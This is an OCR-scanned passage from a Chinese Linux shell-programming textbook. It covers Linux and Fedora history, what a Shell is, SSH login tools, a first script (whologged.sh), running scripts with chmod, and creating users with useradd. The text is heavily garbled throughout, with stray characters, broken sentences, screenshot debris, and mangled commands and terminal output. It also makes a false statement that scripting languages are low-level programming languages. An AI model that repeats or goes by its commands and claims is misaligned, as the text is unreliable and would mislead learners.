Shell 脚本 语言 是 Linux/UNIX 系统 上 一 种 重要 的 脚本 语言 ， 在 
熟练 地 掌握 Shell 脚本 编程 是 一 个 优 
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秀 的 Linux/UNIX 开发 者 和 系统 管理 员 的 必 经 之 路 。 作 为 本 书 的 开篇 ， 
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《Linux Shell 编程 从 初学 到 精通 》 


Linux 和 Shell 概述 人 


1.1.1 Linux 简介 


Linux 是 一 套 可 免费 使 用 和 自由 传播 的 类 UNIX 操作 系统 。1991 年 ， 芬 兰 赫 尔 辛 基 大 学 
学 生 Linus 开发 了 Linux 内 核 。 此 后 ， 一 大 批 程序 爱好 者 、 软 件 技术 专家 对 Linux 进行 修改 
和 完善 。Linux 操作 系统 从 诞生 到 现在 ， 其 开放 、 安 全 、 稳 定 的 特性 得 到 越 来 越 多 用 户 的 认 
可 ， 又 由 于 其 低 成 本 、 自 发 以 及 安全 可 靠 等 优势 ， 促 使 各 国政 府 和 企业 纷纷 对 Linux 提 
供 强 有 力 的 支持 。Linux 的 应 用 和 发 展 前 景 变 得 越 来 越 广阔 。 

自 1991 年 10 月 5 日 Linus Torvalds 在 新 闻 组 comp.os.minix 发 表 了 Linux V0.01，Linux 
开启 了 其 迅猛 发 展 的 步伐 。 经 过 近 20 年 的 发 展 ，Linux 成 为 了 一 个 文 持 多 用 户 、 多 进程 、 多 
线程 、 实 时 性 较 好 、 功 能 强大 而 稳定 的 操作 系统 。 它 可 以 运行 在 x86、Sun Sparc、Digital Aopha、 
680x0、PowerPC、MIPS、ARM 等 平台 上 ， 是 目前 支持 硬件 平台 最 多 的 操作 系统 。 由 于 用 户 
操作 习惯 等 因素 的 制约 ，Linux 在 桌面 领域 发 展 不 是 很 好 ， 但 是 在 其 他 领域 都 取得 了 巨大 的 
进步 和 成 功 。 在 企业 应 用 领域 方面 ，Linux 得 到 子 除 微 软 公 司 之 外 几乎 所 有 知名 软件 和 硬件 
公司 的 支持 ， 这 包括 IBM、HP、Sun、Intel、AMD、Sony 等 ,软件 公司 有 CA、Veritas、BEA、 
Oracle、SAP、Borland 等 ， 使 得 Linux 操作 系统 在 企业 运算 领域 具有 强大 的 发 展 潜力 。 

Linux 自 诞生 以 来 , 像 其 他 许多 软件 一 样 发 布 了 很 多 不 同 的 版 本 ,最 常见 的 有 Slackware、 
RedHat、Debian、S.u.s.E. 等 。Fedora Core 《有 了 时 又 称 为 Fedora Linux) 是 众多 Linux 发 行 
版 本 之 一 , 它 是 一 套 从 Red Hat Linux 发 展 出 来 的 免费 Linux 系统 。Fedora 和 Redhat 这 两 个 
Linux 的 发 行 版 本 联系 很 密切 。Redhat 自 9.0 以 后 ， 不 再 发 布 桌面 版 ， 而 是 把 这 个 项 目 与 开 
源 社 区 合作 ， 于 是 就 有 了 Fedora 发 行 版 。Fedora 可 以 说 是 Redhat 桌面 版 本 的 延续 ， 只 不 
过 是 与 开源 社区 合作 。 

Fedora 是 一 个 开放 的 、 创 新 的 、 有 具有 前 瞻 性 的 Linux 操作 系统 和 和 平台， 无论 是 现在 还 

是 将 来 它 都 允许 任何 人 自由 地 使 用 、 修 改 和 重 发 布 。 它 由 一 个 强大 的 社 群 开发 ， 这 个 社 群 
的 成 员 以 自己 的 不 懈 努 力 ， 提 供 并 维护 自由 、 开 放 源 码 的 软件 和 开放 的 标准 。Fedora 项 目 
由 Fedora 基金 会 管理 和 控制 ， 得 到 了 Red Hat, Inc. 的 支持 。Fedora 项 目的 目标 是 与 Linux 
社区 一 同 构造 一 个 完整 的 、 通 用 的 操作 系统 。Red Hat 工程 师 团队 一 直 参 与 到 构建 Fedora 
Core 的 过 程 中 ， 同 时 邀请 并 鼓励 更 多 的 人 参与 其 中 。 通 过 使 用 这 种 开放 的 过 程 ， 他 们 希望 
可 以 提供 一 个 更 加 贴近 自由 的 软件 和 更 受 开 源 社 区 欢迎 的 操作 系统 。 
Fedora Core 被 红 帆 公司 定位 为 新 技术 的 实验 场 ， 与 Red Hat Enterprise Linux 被 定位 为 稳 
定性 优先 不 同 , 许多 新 的 技术 都 会 在 Fedora Core 中 检验 ， 如果 稳定 ， 红 帽 公 司 才 会 考虑 加 入 
Red Hat Enterprise Linux 中 。 到 目前 为 止 ，Fedora Core 已 经 发 行 了 12 个 版 本 ， 最 新 版 本 为 
Fedora 12。 
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《Linux Shell 编程 从 初学 到 精通 》 


注 : 本 书 的 实验 环境 选择 了 Fedora 11， 它 是 在 2009 年 6 月 发 行 的 Fedora 版 本 ， 其 Shell 


.es 


是 bash Shell, 版 本 是 4.0.16(1)-release。 本 书 所 有 的 例子 和 脚本 都 在 Fedora 11 系统 下 测试 通过 。 
1.1.2 ”Shell 简介 


Shell 是 一 种 具备 特殊 功能 的 程序 ， 它 提供 了 用 户 与 内 核 进行 交互 操作 的 一 种 接口 。 它 接 
收 用 户 输入 的 命令 ， 并 把 它 送 入 内 核 去 执行 。 内 核 是 Linux 系统 的 心脏 ， 从 开机 自 检 时 就 驻 
留 在 计算 机 的 内 存 中 ， 直 到 计算 机 关闭 为 止 ， 而 用 户 的 应 用 程序 存储 在 计算 机 的 人 硬盘 上 ， 仅 
当 需 要 时 才 被 调 入 内 存 。Shell 是 一 种 应 用 程序 ， 当 用 户 登 录 Linux 系统 时 ，Shell 就 会 被 调 入 
内 存 执行 。Shell 独立 于 内 核 ， 它 是 连接 内 核 和 应 用 程序 的 桥梁 ， 并 由 输入 设备 读 取 命 令 ， 再 
将 其 转 为 计算 机 可 以 理解 的 机 械 人 码 , Linux 内 核 才 能 执行 该 命令 ,图 1-1 描述 了 Shell 在 Linux 
系统 中 的 位 置 。 







































































































































































1-1” ”Shell 在 Linux 系统 中 的 位 置 











用 户 可 以 通过 两 种 方式 打开 Shell, 第 一 种 是 在 Linux 系统 图 形 用 户 界面 GNOME 下 单 
6 终端 ?9 








上 
打开 Shell， 图 1-2 给 出 了 Fedora Core 11 系统 下 打开 Shell 的 方法 ,“ 终 端 ” 菜单 位 于 
“应 用 程序 ”一 “系统 工具 ” 下面。 网 1-3 给 出 了 GNOME 下 的 Shell 窗口 截图 ，GNOME 与 
Windows 操作 系统 风格 类 似 ，Shell 窗口 打开 后 ， 会 在 屏幕 下 方 的 任务 栏 上 显示 出 来 ， 用 户 可 
以 在 命令 提示 符 后 输入 Linux 命令 。 










































































上 xx @® 国 画 do 量 shell-editor 10RzIB 旭 上 4d| 四 SBF 但 天 辐 国 加 恒 号 量 shelreditor 10 有 31 昌 妊 由 日 吧 刀 
如 力 公 > 





本 editor@jselab:~ 
文件 (E) 编辑 (E) 查看 (V) ”终端 (T) 帮助 (H) 
ep pt 
有 附件 MW [editordjselab ~]$ date 
lz2010 年 10 月 31 日 可 前 09: 42: 44 CST 
[editor@jselab ~]$ 
对 站 人 > 
团 % 音 > 园 Log Fle Viewer 
并 游戏 » 图 Palimpsest piskutiity 
苹 5ELinux Policy Generation Tool 
- 盐 5ELinux 地 排除 工具 
型 入 使 用 为 析 器 
ca 图 电源 统计 
外 软件 日 志 查 看 器 
国 文件 浏览 器 
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区 | 加 | 局 本 | 男 editor@jselab:~ 


1-2 在 GNOME 下 打开 Shell 1-3 GNOME 的 Shell 窗口 
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十 分 熟悉 Linux 系统 的 用 户 一 般 不 通过 图 形 月 
Shell 登录 到 Linux 系统 。 因 此 ， 第 二 种 打开 Shell 
式 远 程 登录 到 Linux 系统 ， 
种 软件 都 是 非常 好 用 的 工具 ， 下 面 对 这 

(1) SSH Secure Shell 软件 

该 软件 的 风格 十 分 简洁 ， 单 击 
面 ， 输 入 登录 主机 的 耳 地 址 和 用 户 名 ， 如 图 1-4 





















































工 上 














Linux 系统 。 图 1-5 展示 了 登录 成 功 的 界面 ， 与 X Windows 的 终端 类 似 ， 


后 输入 系统 命令 。 














癌 - default - SSH Secure Shell 
国 入 区 易 】 字 启 
Ele Edt Vew Window Help 


避 Quick Connect 国 Profies 





目前 比较 流行 的 Shell 软 
两 种 软件 的 用 法 作 简 单 介 


具 栏 中 的 “Quick Connect” 按 钮 ， 即 可 


的 | 区 四 | 各 | 人 @ 双 | 





日 户 界 面 来 操纵 Linux 系统 ， 而 是 直接 通过 
的 方式 就 是 利用 一 些 软件 工具 以 SSH 的 方 


F 工 具 是 SSH Secure Shell 和 PuTTY 。 两 
绍 。 
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弹出 登录 设置 界 
“Connect” 按 钮 就 可 远程 登录 
可 以 在 命令 提示 符 

















所 示 ， 单 击 
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E> Cancel 
二 登录 的 用 户 名 





















Not connected - press Enter or Space to connect 


人 Profile Sett 





nes> 了 | 


56x20 Ex] 


1-4 SSH Secure Shell 登录 设置 界面 


而 510284 82.198 - default - SSH Secure Shell 
贺 | 急 及 | 马 台电 后 
Ele Edt Wew Window Help 


加 Quick Conner 


ct 国 Profies 


ET 








SSH Secure Shell 3.2.9 (BE 


Copyright (c) 2000-2003 8 
- http://www.ssh.com/ 






Profile Nane 


EZ- 






Bdd to Profiles 


(2) PuTTY 软件 
该 软件 是 一 个 非常 小 巧 的 工具 ， 而 且 是 


This copy of SSH Secure Shell is a non 可 保存 所 登录 1 versio 
主机 的 信息 

Di version does not include PKI and PKCS #11 tunctiona 

lity. 

Last login: Mon Mar 15 17:04:10 2010 from 210.28.82.199 


[root@jselab ~]# 国 在 此 输入 命令 
命令 提示 符 








Connected to 210,28,82,198 55H2 - aes128-cbc - hmac-md5 - none |56x20 Fl 


1-5 SSH Secure Shell 登录 成 功 后 的 界面 











色 软 件 ， 无 须 安装 ， 图 1-6 显示 了 PuTTY 的 登 





























录 设 置 界面 ， 同 样 是 输入 登录 主机 的 卫 
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什 消 区 兄 
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地 址 ， 再 单 击 
面 中 输入 登录 用 户 名 及 其 密码 ， 成 功 登录 后 会 























出 现 命令 


“Open” 按 钮 连接 ， 在 图 





令 提 示 符 。 
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Ex) 
馒 PuTTY configuration 多 
Category 
2- Session Basic options for your PUTTY session 

i ee Specily the destination you want to connect to 

Ee Host Name (or IP address} Port 
es [210.28.82.198 有 |lzz 
Bel | 
Filles Cameoion vp 吉村 录 王 向 乓 P 邢 证 

2 Window m © Ishet © Alogn 回 SSH © Seral 

A 
ET Load, save or delete a stored session 
Behaviour 
Te Saved Sessions 
Selection vitual machine 
Colours [Default Setings 
Data [ Save ] 
Prowy 
Telnet [_ Delete | 
Rlogh 
SSH 
Serial 


Close window on exit 
Always Never © Only on clean exit 


Abou |[ Hep (et Gencel 


1-6 PuTTY 登录 设置 界面 














1:7 ”PuTTY 登录 成 功 后 的 界面 











注 : 本 节 首 先 简 单 介 绍 了 Shell 的 概念 ， 对 Shell 概念 的 介绍 并 不 完整 ， 因 为 要 介绍 清楚 
Shell， 必 人 然 要 涉及 很 多 操作 系统 方面 的 知识 ， 而 本 书 的 主旨 是 Shell 编程 ， 然 后 ， 给 出 三 种 
启动 Shell 的 方法 ， 这 是 进行 Shell 编程 的 基础 ， 我 们 通常 不 建议 在 GNOME 下 进行 Shell 编 
程 ， 推 荐 读者 使 用 SSH Secure Shell 或 PuTTY 远程 连接 Linux 主机 后 进行 编程 。 


Shell 脚本 编程 的 优势 /YY 


脚本 语言 〈Script Language) 是 相对 于 编译 型 语言 而 言 的 ， 它 是 为 了 缩短 编译 型 语言 编 
写 一 编译 一 链接 一 运行 (Edit-Compile-Link-Run) 过 程 而 创建 的 计算 机 编程 语言 。 由 于 脚本 
语言 常常 运行 于 底层 ， 所 处 理 的 是 字 节 、 整 数 、 浮 点 数 或 其 他 机 器 层 的 对 象 ， 因 而 ， 脚 本 语 
言 是 低级 程序 设计 语言 。 如 CC++、Ada、Java、C# 等 都 属于 编译 型 语言 ， 也 可 称 为 高 级 程 
序 设计 语言 ， 这 类 语言 所 编写 的 程序 需要 经 过 编译 ， 将 源 代 码 转 化 为 目标 代码 才能 运行 。 而 
脚本 语言 往往 是 解释 运行 而 非 编 译 ， 即 由 解释 器 (Interpreter) 读 入 脚本 程序 代码 ， 将 其 转换 
成 内 部 的 形式 执行 ， 而 解释 器 本 身 则 是 编译 型 程序 。 
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脚本 语言 的 好 处 是 简单 、 易 学 、 易 用 ， 适 合 处 到 
快速 完成 菜 些 复杂 的 事情 通 第 是 创建 脚本 语言 的 重要 原则 ， 肤 
几 个 方面 : 

@ 语法 和 结构 通常 比较 简单 。 


@ 学习 和 使 用 通常 比较 简 生 
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文件 和 目录 之 类 的 对 象 ， 以 简单 的 方式 
本 语言 的 特性 可 以 总 结 为 以 下 




































































@ 通常 以 容易 修改 程序 的 “解释 ”作为 运行 方式 ， 而 不 需要 “编译 ”。 

@ 程序 的 开发 产能 优 于 运行 效能 。 

脚本 语言 的 灵活 性 是 以 执行 效率 为 代价 的 ， 脚 本 语言 的 执行 效率 通常 不 如 编译 型 语言 。 
当然 ， 脚 本 语言 一 般 不 适用 于 大 型 的 项 目 、 计 算 复 杂 的 工程 或 有 高 级 需求 的 应 用 软件 ， 它 适 
用 于 系统 管理 、 文 本 处 理 等 方面 完成 特定 功能 的 常用 的 小 工具 或 小 程序 。 

Shell 脚本 语言 是 Linux/UNIX 系统 上 一 种 重要 的 脚本 语言 ， 在 Linux/UNIX 领域 应 用 极为 
广泛 , 熟练 掌握 Shell 脚本 语言 是 一 个 优秀 的 Linux/UNIX 开发 者 和 系统 管理 员 的 必 经 之 路 。 利 
用 Shell 脚本 语言 可 以 简洁 地 实现 复杂 的 操作 ， 而 且 Shell 脚本 程序 往往 可 以 在 不 同 版 本 的 
Linux/UNIX 系统 上 通用 。 

尽管 Shell 脚本 语言 延续 了 脚本 语言 易学 的 特性 ， 易 学 体现 在 Shell 脚本 语言 门槛 较 低 ， 





易于 上 手 ， 读 者 可 以 蝇 不 费力 就 


mr 


已 。 














但 是 ， 要 深入 透彻 地 学 会 Shell 脚本 语言 是 有 











学 会 编写 一 个 简单 的 Shell 脚本 程 




















人 E 度 的 ， 因 











序 ， 并 且 很 容易 学 会 执行 
为 Shell 脚本 语言 涉及 几乎 所 有 


Linux 命令 的 灵活 使 用 ， 而 且 Linux 系统 下 的 小 工具 “(如 awk、sed) 也 较 多 ， 它 们 常常 出 现 
在 Shell 脚本 之 中 。 另 外 ，Shell 脚本 语言 还 提供 了 类 似 于 高 级 程序 设计 语言 的 语法 结构 ， 如 


分 支 判 断 语句 、 变 量 和 函 

综 上 所 述 , Shell 脚本 语言 是 Linux/UNIX 系统 上 应 用 广泛 的 实用 程序 设计 
E 学 会 Shell 脚本 编 
要 选项 的 作业 和 区 别 ”; 


学 难 精 ” 的 


谷 分 司 
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> Pw 
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Linux 
工具 
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数 、 循 环 结构 数组、 算术 和 逻辑 运算 等 。 
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， 和 需要 读者 清晰 地 掌握 Linux 重 
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第 一 个 Shell 脚本 例子 




















全 -人 
要 命令 


掌握 Shell 脚本 语言 的 语法 结构 以 及 一 些 常 用 的 小 


语言 , 它 是 “ 易 


的 语法 ， 理 解 
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1.3.1 Shell 脚本 的 基本 元 素 

使 用 Shell 脚本 的 最 初 动机 可 能 在 于 省 去 手动 输入 命令 的 麻烦 ，Shell 脚本 将 一 系列 的 
Linux 命令 放 在 一 个 文件 中 ， 这 样 ， 我 们 就 不 必 每 次 都 手动 输入 同样 的 命令 。 比 如 : 当 一 个 
用 户 登录 系统 后 , 他 每 次 都 是 先 执行 .bash_profile 文件 配置 命令 行 环境 , 再 查看 当前 有 哪些 用 
户 在 登录 ， 那 么 ， 这 个 用 户 将 会 依次 输入 以 下 命令 完成 上 述 操作 ; 

lsh oe 

date 

who 

显然 ， 用 户 每 次 输入 重复 的 命令 显得 比较 麻烦 ， 我 们 能 否 把 多 个 命令 写 入 一 个 文件 ， 然 

竺 请 还 见 华 清 远 见 教育 集团 官网 : www. hqyj. com 
HQYJ.COM 
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后 通过 执行 这 个 文件 来 执行 这 些 命令 呢 ? 这 就 是 最 原始 的 Shell 脚本 。 上 述 的 三 条 命令 可 以 
写 入 下 面 的 文件 中 ， 该 文件 取 名 为 whologged.sh: 


#!/bin/bash 







































































cd # 切 换 到 用 户 根 目 录 ， 因 为 .bash profile 在 根 目录 下 
:bash Profile # 配 置 用 户 的 命令 行 环境 

date # 显 示 日 期 命令 

who # 显 示 当 前 的 登录 用 户 


























whologged.sh 文件 就 是 一 个 典型 的 Shell 脚本 。 需 要 注意 的 是 ，whologged.sh 文件 的 第 1 
行 是 “ 硕 /bin/bash”，“ 扔 ”符号 称 为 “Sha-bang” 符 号 ， 是 Shell 脚本 的 起 始 符号 ,，“#!” 符 号 
是 指定 一 个 文件 类 型 的 特殊 标记 ， 它 告诉 Linux 系统 这 个 文件 的 执行 需要 指定 一 个 解释 器 。 
“#” 符 号 之 后 是 一 个 路 径 名 ， 这 个 路 径 名 指明 了 解释 器 在 系统 中 的 位 置 ， 对 于 一 般 的 Shell 
脚本 而 言 , 解释 器 是 bash, 也 可 以 是 sh, 即 用 下 面 的 两 种 方式 作为 脚本 的 第 1 行 都 是 正确 的 : 


#!/bin/bash 
#!/bin/sh 


当然 ，Linux 还 存在 其 他 的 一 些 解释 器 ， 如 sed 和 awk 等 ， 指 定 这 些 解释 器 就 需要 对 第 1 
行 做 相应 的 改动 。 本 书 第 4 章 将 会 介绍 sed 和 awk, 在 此 ; 请 读者 记 住 大 部 分 脚本 都 是 用 bash 
解释 器 的 ， 但 是 ， 其 他 解释 器 依然 是 存在 的 。 

“#1/bin/bash” 行 之 后 ，whologged.sh 文件 按 顺 序 写 入 需要 执行 的 三 条 命令 ， 每 条 命令 后 
面 有 一 段 以 “#” 符 号 起 始 的 中 文 ,“#” 符 号 是 注释 符 ， 它 后 面 直到 本 行 结束 的 所 有 内 容 是 注 
释 ， 脚 本 执行 时 是 不 执行 注释 的 ,“#” 符 号 类 似 于 C++ 和 Java 语言 中 的 “/” 符 号 ， 脚 本 注 
释 可 以 是 整 行 ， 也 可 以 在 某 行 的 后 面 : 

command ”# 在 行 后 面 的 注释 
整 行 的 注释 
注释 能 增加 Shell 脚本 的 可 读 性 ， 便 于 人 们 理解 该 脚本 。 因 此 ， 读 者 在 编写 脚本 时 ， 应 
养 成 勤 加 注释 的 好 习惯 。 

从 whologged.sh 脚本 也 可 以 看 出 ， 命 令 (command) 是 Shell 脚本 的 最 基本 元 素 ， 命 令 
通常 由 命令 名 称 、 选 项 和 参数 三 部 分 组 成 ， 三 部 分 之 间 用 空格 键 或 Tab 键 分 隔 。 我 们 以 下 面 
的 例 1-1 来 说 明 命令 的 三 个 组 成 部 分 。 
例 1-1: 介绍 Linux 命令 的 组 成 部 分 











































































































































































































































































































root@jselab ~]# ls -1 /etc/sh* # 一 条 简单 的 Linux 命令 
-一 一 一 一 一 一 一 一 . 1 root root 1181 2009-09-04 /etc/shadow 

-一 一 一 一 一 一 一 . 1 root root 1181 2009-09-04 /etc/shadow- 

-IrWw-r--r--. 1 root root 32 2009-04-10 /etc/shells 


[root@jselab ~]# 

例 1-1 中 的 命令 用 于 列 出 /etc 目录 下 以 “sh” 开 头 文件 的 详细 信息 ， 这 一 条 简单 的 Linux 
命令 就 由 三 个 部 分 组 成 ,“1ls” 是 命令 名 称 ,“-1” 是 选项 ,“/etc/sh* ”是 参数 。 命 令 名 称 在 命 
令 中 是 不 可 或 缺 的 ， 而 选项 和 参数 则 可 以 不 出 现 。 选 项 的 开头 符号 是 一 个 减 号 〈-)， 后 面 跟 
一 个 或 多 个 字母 ， 选 项 是 对 命令 的 补充 说 明 ， 读 者 在 学 习 Linux 命令 时 需要 在 辨析 和 理解 选 
项 上 花 力气 ， 读 者 在 后 续 章节 的 学 习 中 一 定 能 够 体会 到 选项 的 重要 性 。 参 数 可 以 理解 为 命令 
的 作用 对 象 ,“/etc/sh* ”参数 中 “*” 符 号 称 为 通配符 ， 通 配 符 经 常 在 命令 参数 中 出 现 。 我 们 
将 在 第 3 章 详细 讨论 通配符 的 用 法 。 

Linux 系统 有 成 和 上 万 条 命令 ， 我 们 很 难 全 部 掌握 这 些 命令 ， 而 且 即 便 是 经 常 使 用 的 命 
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令 ， 我 们 往往 也 会 忘记 这 些 命 令 的 选项 和 用 法 ， 此 时 可 利用 Linux 系统 提供 的 命令 的 手册 页 
(manual page )， 我 们 可 以 用 如 下 格式 的 命令 打开 某 命令 的 手册 页 : 


man [命令 名 称 ] 






































man 命令 可 以 打开 其 他 Linux 命令 的 手册 页 ， 手 册页 上 能 详细 地 显示 命令 名 称 、 基 本 格 


































































































式 、 对 选项 的 详细 描述 等 信息 ，man 是 Linux 程序 员 和 管理 员 用 于 查询 命令 用 法 的 常用 手段 。 
分 号 (;) 可 以 用 来 隔 开 同一 行内 的 多 条 命令 ，Shell 会 依次 执行 用 分 号 隔 开 的 多 条 命令 ， 
例 1-2 演示 了 分 号 的 用 法 。 
# 例 1-2: 分 号 的 用 法 
[root@jselab ~]# ls -1 /etc/sh*;date;who # 同 一 行内 有 三 条 命令 ， 用 分 号 隔 
-一 一 一 一 一 一 一 一 . 1 root root 1181 2009-09-04 /etc/shadow #1s 命令 的 结果 
-一 一 一 一 一 一 一 一 . 1 root root 1181 2009-09-04 /etc/shadow- 
-rw-r--r--. 1 root root 32 2009-04-10 /etc/shells 
20104F 03 月 25 上 月 三洲 三 T233525 C51 #date 命令 的 结果 
root Say0 2010=05=23 118242 (210.223.82.152) #who 命令 的 结果 
ES ES 人 2J0L0=03=23" 1s43 T2140.2375320190 
[Eeotemerlan 





例 1-2 的 同一 行内 有 三 条 命令 ， 用 分 号 隔 开 ， 依 次 显示 了 这 三 条 命令 的 执行 结果 。 
本 节 给 出 了 第 一 个 Shell 脚本 ，Shell 脚本 以 “#” 符 号 开头 ， 该 符号 后 面 跟 了 解释 器 的 



































路 径 ， 命 令 是 Shell 脚本 的 最 基本 元 素 ， 它 定义 了 Shell 脚本 的 动作 ， 包 含 命令 名 称 、 选 项 和 
参数 三 个 部 分 ，Shell 脚本 中 也 可 以 添加 注释 ， 以 注释 符 “#” 引 出 。 除 此 之 外 ，Shell 脚本 还 





可 以 包含 变量 、 各 种 控制 结构 ， 


1.3.2 ”执行 Shell 脚本 
在 编写 好 一 个 Shell 脚本 后 



































以 及 算术 和 迪 辑 运算 符 ， 这 些 内 容 将 在 后 续 章 节 中 展开 。 


， 如 何 执行 这 个 Shell 脚本 呢 ? 这 与 Linux 系统 对 文件 的 管理 











有 关 ，Linux 系统 管理 文件 结合 考虑 了 用 户 权 限 和 文件 权限 ， 本 书 第 2 章 将 详细 介绍 Linux 
系统 用 户 管理 和 文件 管理 的 基础 知识 ， 简 言 之 ， 要 执行 一 个 Shell 脚本 ， 只 需要 使 当前 用 户 
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有 具备 执行 该 脚本 文 从 



























































的 权限 。 一 般 来 说 ， 当 我 们 用 文本 编辑 器 创建 一 个 Shell 脚本 文件 时 ， 
该 文件 是 没有 可 执行 权限 的 ， 即 x 权限 。 因 此 ， 我 们 需要 先 赋 给 Shell 脚本 可 执行 权限 ， 再 

















去 执行 它 。 下 面 的 例 1-3 给 出 了 whologged.sh 脚本 的 执行 过 程 。 











root@jselab she1L1-pookI] 
root@jselab shell-book] 























例 1-3: 执行 whologged.sh 脚本 


chmod utx whologged.sh # 为 wzhologged. sh 脚本 赋 可 执行 权限 
ls -1 whologged.sh # 查 看 whologged. sh 的 权限 


-rwxr--r--. 1 root root 155 03-23 13:14 whologged.sh # 具 备 x 权 限 了 


root@jselab shell-book]# ./whologged.sh # 执 行 whnologged. sh 脚本 
2010 年 03 月 23 目 星 吕 三 13:14:35 CS #whologged. sh 脚本 的 执行 结果 
Ge pts/0 2OM0 :022 :2 

IOS ES ZO 0S 2 


[root@jselab shell-book]# 





例 1-3 首先 利用 chmod 命令 为 whologged.sh 脚本 赋 可 执行 权限 ，chmod 命令 将 在 第 2 章 














详细 介绍 ， 查 看 whologged.sh 











的 权限 时 发 现 ，whologged.sh 文件 确实 具备 了 x 权限 ， 即 











whologged.sh 文件 具备 了 可 执行 权限 。 最 后 ， 使 用 ./[ 脚 本 名 ] 格 式 的 命令 执行 whologged.sh 脚 








本 ，Shell 打印 出 whologged.sh 脚本 的 执行 结果 。 




















缺乏 Linux 文件 管理 基础 知识 的 读者 可 能 并 不 理解 Shell 脚本 执行 的 原因 , 这 类 读者 可 以 
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让 nN 下 | | mm、 人 ， 

| 和 局 AAA 
本 章 首先 简明 扼要 地 介绍 了 Linux 操作 系统 的 起 源 与 发 展 、Shell 的 概念 和 作用 、Shell 

脚本 编程 的 优势 等 理论 性 内 容 , 试图 让 读者 理解 Linux 和 Shell 是 什么 .为 什么 需要 学 习 Shell 


脚本 编程 。 然 后 ， 本 章 给 出 第 一 个 Shell 脚本 的 例子 ， 从 该 例子 说 明 Shell 脚本 的 基本 元 素 ， 
以 及 执行 脚本 的 方法 。 
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本 章 首先 介绍 Linux 用 户 和 用 户 组 的 概念 以 及 管理 的 常用 命令 
其 次 ， 重 点 介绍 文件 和 目录 操作 ， 包 含 文件 和 目录 复制 、 移 动 和 删除 
等 常用 命令 、 文 件 和 目录 权限 的 概念 以 及 管理 的 常用 命令 、 查 找 文件 
命令 一 一 find; 最 后 ， 介 绍 两 种 文本 编辑 器 : 命令 行 环境 下 的 vi 编辑 
器 和 GNOME 桌面 环境 的 Gedit 编辑 器 。 如 Linux 系统 基础 命令 的 
读者 可 以 跳 过 此 章 ， 直 接 进入 下 一 章 学 习 。 
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2 17 人 


Linux 是 多 用 户 多 任务 的 操作 系统 ， 用 户 (user) 和 用 户 组 (group ) 的 管理 是 Linux 使 
用 者 应 该 了 解 和 掌握 的 基础 之 一 。 本 节 介 绍 Linux 用 户 和 用 户 组 的 管理 ， 它 也 是 2.2 节 文 件 
操作 的 基础 。 


2.1.1 用 户 管理 常用 命 全 


用 户 在 系统 中 是 分 角色 的 ， 在 Linux 系统 中 ， 由 于 角色 不 同 ， 权 限 和 所 完成 的 任务 也 不 
同 。 值 得 注意 的 是 ， 用 户 的 角色 是 通过 UID 来 识别 的 ， 用 户 的 UID 是 全 局 唯一 的 。Linux 用 
户 可 以 分 为 三 类 。 
@ root 用 户 《 也 称 为 超级 用 户 ) : 系统 唯一 ， 是 真实 的 。 该 用 户 既 可 以 登录 系统 ， 可 
以 操作 系统 任何 文件 和 命令 ， 拥 有 最 高 权限 。 
@ 虚拟 用 户 : 这 类 用 户 也 被 称 为 伪 用 户 或 假 用 户 ， 与 真实 用 户 区 分 开 来 ， 这 类 用 户 不 
具有 登录 系统 的 能 力 ， 但 却 是 系统 运行 不 可 缺少 的 用 户 ， 比 如 bin、daemon、adm、 
ftp、mail 等 ， 这 类 用 户 是 系统 自身 拥有 的 ;而 非 后 来 添加 的 ， 当 然 ， 我 们 也 可 以 添 
加 虚拟 用 户 。 
@ 普通 真实 用 户 : 这 类 用 户 能 登录 系统 ， 但 只 能 操作 其 根 目录 的 内 容 ,权限 受到 限制 ， 
这 类 用 户 都 是 系统 管理 员 自 行 添 加 的 。 
Linux 用 户 管理 的 常用 命令 主要 有 : 用 户 账号 添加 命令 useradd 或 adduser、 修 改 用 户 命令 
usermod、 删 除 用 户 命令 userdel 及 用 户口 令 管理 命令 passwd 等 ， 下 面 将 详细 介绍 这 些 命令 。 
1. 用 户 账号 添加 命令 一 一 useradd 或 adduser 
useradd 和 adduser 是 完全 等 价 的 两 条 命令 ， 都 是 用 于 创建 新 的 用 户 账号 。 我 们 以 useradd 
为 代表 介绍 它们 的 用 法 ， 命 令 格 式 如 下 : 
useradd [option] [username] 
其 中 ，[option] 为 useradd 命令 选项 ，[username] 是 要 创建 的 用 户 名 。 执 行 该 命令 后 ， 将 在 
系统 中 做 以 下 一 些 事情 : 
@ 在 /etc/passwd 文件 中 增添 了 一 行 记录 。 
@ 在 /home 目录 下 创建 新 用 户 的 主 目录 ， 并 将 /etc/skel 目录 中 的 文件 复制 到 该 目录 中 。 
使 用 了 该 命令 后 ， 新 建 的 用 户 暂 时 无 法 登录 ， 因 为 还 没有 为 该 用 户 设置 口令 ， 需 要 再 用 
passwd 命令 为 其 设置 口令 后 ,才能 登录 。 用 户 的 UID 和 GID 是 useradd 自动 选取 的 ， 它 是 将 
/etc/passwd 文件 中 的 UID 加 1， 将 etc/group 文件 中 的 GID 加 1。 
表 2-1 列 出 了 useradd 命令 中 各 选项 的 含义 。 


表 2-1 useradd 或 adduser 命令 的 选项 及 其 意义 
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账号 同名 的 组 作为 该 账号 的 私有 组 





选 项 








-G [grp...] “添加 附属 组 























-D “显示 或 设置 useradd 命令 所 使 用 的 默认 值 



































-d [directory] 指定 上 有 目录， 如果 此 目录 不 存在 ， 则 同时 使 用 -m 选项 来 创建 主 












































录 若 不 存在 ， 则 自动 建立 












































2 用户 的 用 户 号 ， 如 果 同 时 有 -o 选项 ， 则 可 以 重复 使 用 其 他 用 户 的 标识 号 。 注 意 ，ID 值 不 
值 ， 预 设 为 最 小 不 得 小 于 99 而 逐次 增加 。0 一 99 传统 上 保留 给 系统 账号 使 用 
































使 用 useradd 或 adduser 命令 增加 新 用 户 时 ， 系 统 将 为 用 户 创建 一 个 与 用 户 名 相同 的 组 ， 

















称 为 私有 组 ， 这 一 方法 是 为 了 能 让 新 用 户 与 其 他 用 户 隔 离 ， 确 保安 全 性 的 措施 。 如 果 要 改变 


























私有 组 的 名 字 ， 可 以 使 用 -g 选项 来 完成 。 






























































录 ， 而 通过 查看 /etc/shadow 创建 用 户 的 密 看 
列 2-1: 创建 用 户 wang 并 查看 其 相关 信息 


root@localhost ~]# useradd wang 




















查看 passwd 文件 中 添加 的 用 户 账号 信息 

root@localhost ~]# tail -1 /etc/passwd 
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 
eae 














pulse:x:496:494:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin 
smolt:x:4995:489:Smolt:/usr/share/smolt:/sbin/nologin 
torsene: x 04/0 Puener niente Meacker. /var/ ln er ene /slo 
